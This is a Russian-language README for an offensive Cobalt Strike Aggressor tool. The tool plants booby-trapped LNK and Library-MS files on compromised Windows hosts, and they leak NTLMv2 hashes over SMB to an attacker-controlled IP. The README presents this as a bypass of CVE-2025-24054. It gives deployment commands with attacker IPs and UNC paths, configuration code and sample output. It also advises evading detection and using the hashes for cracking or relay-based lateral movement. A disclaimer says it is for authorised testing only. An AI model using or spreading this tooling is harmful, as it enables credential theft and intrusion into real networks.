LNK Weaponizer - Cobalt Strike Aggressor Script
Комплексный скрипт Cobalt Strike Aggressor, который вооружает и выполняет вредоносные LNK-файлы и Library-MS-файлы для раскрытия NTLMv2-SSP хешей SMB. Включает методы обхода CVE-2025-24054.
⚠️ ПРЕДУПРЕЖДЕНИЕ
Этот инструмент предназначен только для образовательных и исследовательских целей. Автор не несет ответственности за любое неправомерное использование этого кода. Используйте только в системах, которыми вы владеете или на которые имеете явное разрешение для тестирования.
Захват NTLM-хешей
Этот скрипт генерирует вооруженные файлы .lnk и .library-ms, которые при открытии инициируют SMB-аутентификацию на хосте оператора.
Утекшие NTLMv2-хеши не отображаются в Cobalt Strike, их необходимо перехватывать с помощью внешних инструментов, таких как Responder, Impacket's ntlmrelayx.py или Inveigh, запущенных в системе атакующего.
После сбора хеши можно взломать с помощью Hashcat или использовать для ретрансляции для дальнейшего бокового перемещения.
🎯 Возможности
- Вооружение LNK-файлов: Создание вредоносных файлов ярлыков для захвата NTLM-хешей
- Создание Library-MS-файлов: Реализация метода обхода CVE-2025-24054
- Интеграция в контекстное меню: Легкий доступ через контекстное меню beacona в Cobalt Strike
- Интерфейс командной строки: Прямые команды для автоматизации и скриптов
- Интерактивные диалоги: Удобный ввод параметров
- Быстрое развертывание: Предварительно настроенные параметры для быстрого использования
- Глобальная конфигурация: Простая настройка параметров по умолчанию
📁 Структура проекта
cobalt-strike-aggressor/
├── lnk_weaponizer.cna # Основной скрипт Aggressor (v2.0)
├── standalone_lnk_weaponizer.ps1 # Автономная версия PowerShell
├── README.md # Эта документация
├── INSTALL.md # Руководство по установке и настройке
└── examples/
├── usage_scenarios.md # Примеры практического использования
└── sample_targets.csv # Пример файла для пакетной операции
🚀 Установка
- Скопируйте
lnk_weaponizer.cna в директорию скриптов Cobalt Strike Aggressor
- Загрузите скрипт в Cobalt Strike:
- Перейдите в
Cobalt Strike → Script Manager
- Нажмите
Load и выберите lnk_weaponizer.cna
- Скрипт автоматически инициализируется и покажет доступные команды
📖 Использование
Параметры контекстного меню
Щелкните правой кнопкой мыши на любом beacon в Cobalt Strike, чтобы получить доступ:
- Create LNK File: Интерактивный диалог для создания пользовательского LNK
- Create Library-MS File: Интерактивный диалог для создания Library-MS (обход CVE-2025-24054)
- Quick LNK (Default Settings): Быстрое развертывание LNK с предустановленными значениями
- Quick Library-MS (Default Settings): Быстрое развертывание Library-MS с предустановленными значениями
Команды командной строки
Команды для LNK-файлов
# Создание LNK-файла с пользовательскими параметрами
lnk_create <path> <ip> <share> <file>
# Пример
lnk_create C:\Temp 192.168.1.10 share payload.exe
Команды для Library-MS-файлов
# Создание Library-MS-файла с пользовательскими параметрами
library_create <path> <ip> <share>
# Пример
library_create C:\Temp 10.10.14.22 share
Быстрые команды
# Использование настроек по умолчанию
lnk_quick
library_quick
# Показать справку
lnk_help
🔧 Конфигурация
Настройки по умолчанию
Скрипт использует следующие настраиваемые значения по умолчанию:
- IP:
192.168.1.10
- Share:
share
- Path:
C:\Temp
Настройка параметров по умолчанию
Отредактируйте глобальные переменные в файле lnk_weaponizer.cna:
global('$default_ip $default_share $default_path');
$default_ip = "192.168.1.10";
$default_share = "share";
$default_path = "C:\\Temp";
🎯 Как это работает
Техника LNK-файла
- Генерация PowerShell-скрипта: Создает скрипт PowerShell, который генерирует вредоносный LNK-файл
- Создание LNK-файла: Использует COM-объект Windows Shell для создания ярлыка, указывающего на удаленный SMB-ресурс
- Запуск иконки: Заставляет проводник загрузить иконку PE из удаленного бинарного файла, что инициирует NTLM-аутентификацию
- Захват хеша: NTLMv2-SSP-хеш захватывается, когда пользователь взаимодействует с файлом
Техника Library-MS (обход CVE-2025-24054)
- Генерация XML: Создает XML-файл Library-MS со ссылкой на UNC-путь
- Создание файла: Генерирует файл
.library-ms в целевой директории
- Взаимодействие с пользователем: Когда пользователь дважды щелкает файл Library-MS, Windows пытается получить доступ к UNC-пути
- Запуск аутентификации: Инициируется SMB-аутентификация, захватывается NTLM-хеш
Технические детали
Обе техники создают файлы, которые:
- Указывают на удаленные SMB-ресурсы
- Инициируют аутентификацию при доступе
- Обходят распространенные средства контроля безопасности
- Обеспечивают надежный захват хешей
📊 Формат вывода
Скрипт предоставляет подробное логирование:
[+] Creating LNK file on TARGET-COMPUTER
[+] Target UNC: \\192.168.1.10\share\payload.exe
[+] Local Path: C:\Temp
[+] LNK weaponization completed
[!] Wait for user to click the LNK file to capture NTLM hash
🛡️ Соображения безопасности
Избегание обнаружения
- Используйте легитимно выглядящие имена общих ресурсов и пути
- Учитывайте время развертывания, чтобы избежать обнаружения
- Следите за оповещениями средств безопасности
- Техника Library-MS обеспечивает дополнительную маскировку
Операционная безопасность
- Используйте выделенные SMB-серверы для сбора хешей
- Внедрите соответствующее ведение журнала и мониторинг
- Следуйте процедурам вашей red team
- Документируйте все тестовые действия
Юридическое соответствие
- Убедитесь в наличии надлежащего разрешения перед тестированием
- Документируйте все тестовые действия
- Соблюдайте границы и объем работ
🔍 Устранение неполадок
Частые проблемы
-
Beacon не найден
- Убедитесь, что на целевом компьютере есть активный beacon
- Проверьте правильность написания имени компьютера в пакетных операциях
-
Отказано в доступе
- Проверьте права на запись в целевой путь
- Проверьте настройки UAC на целевой системе
-
Политика выполнения PowerShell
- Скрипт использует
bpowershell() для обработки ограничений
- Убедитесь, что PowerShell доступен на целевой системе
Режим отладки
Включите подробный вывод, изменив скрипт:
# Add debug logging
blog($bid, "[DEBUG] Executing command: " . $command);
📝 Примеры
Сценарий 1: Развертывание LNK-файла
# Create LNK file on specific target
lnk_create C:\Users\Public\Desktop 10.0.0.5 public malware.exe
Сценарий 2: Обход через Library-MS
# Create Library-MS file for CVE-2025-24054 bypass
library_create C:\Users\Public\Desktop 192.168.1.100 share
Сценарий 3: Быстрая атака
# Use default settings for rapid deployment
lnk_quick
library_quick
🔬 Продвинутые техники
Обход CVE-2025-24054
Техника Library-MS реализует обход CVE-2025-24054 путем:
- Использования формата файла Library-MS вместо традиционных LNK-файлов
- Использования системы библиотек Windows для запуска аутентификации
- Предоставления дополнительных возможностей маскировки
Стратегии обхода
- Именование файлов: Используйте реалистичные имена и расширения
- Выбор пути: Размещайте в общих пользовательских директориях
- Время: Выполняйте в обычные рабочие часы
- Ротация: Изменяйте IP-адреса SMB-серверов и имена общих ресурсов
🤝 Участие
- Форкните репозиторий
- Создайте ветку для новой функции
- Внесите свои изменения
- Тщательно протестируйте
- Отправьте pull request
📄 Лицензия
Этот проект предоставляется как есть для образовательных целей. Используйте ответственно и в соответствии с действующими законами и нормативными актами.
🙏 Благодарности
- Команде Cobalt Strike за фреймворк Aggressor
- Сообществу red team за тестирование и отзывы
- Исследователям безопасности, которые первыми разработали атаки на основе LNK
- Авторам исследований CVE-2025-24054
Помните: Всегда получайте надлежащее разрешение перед тестированием любой системы.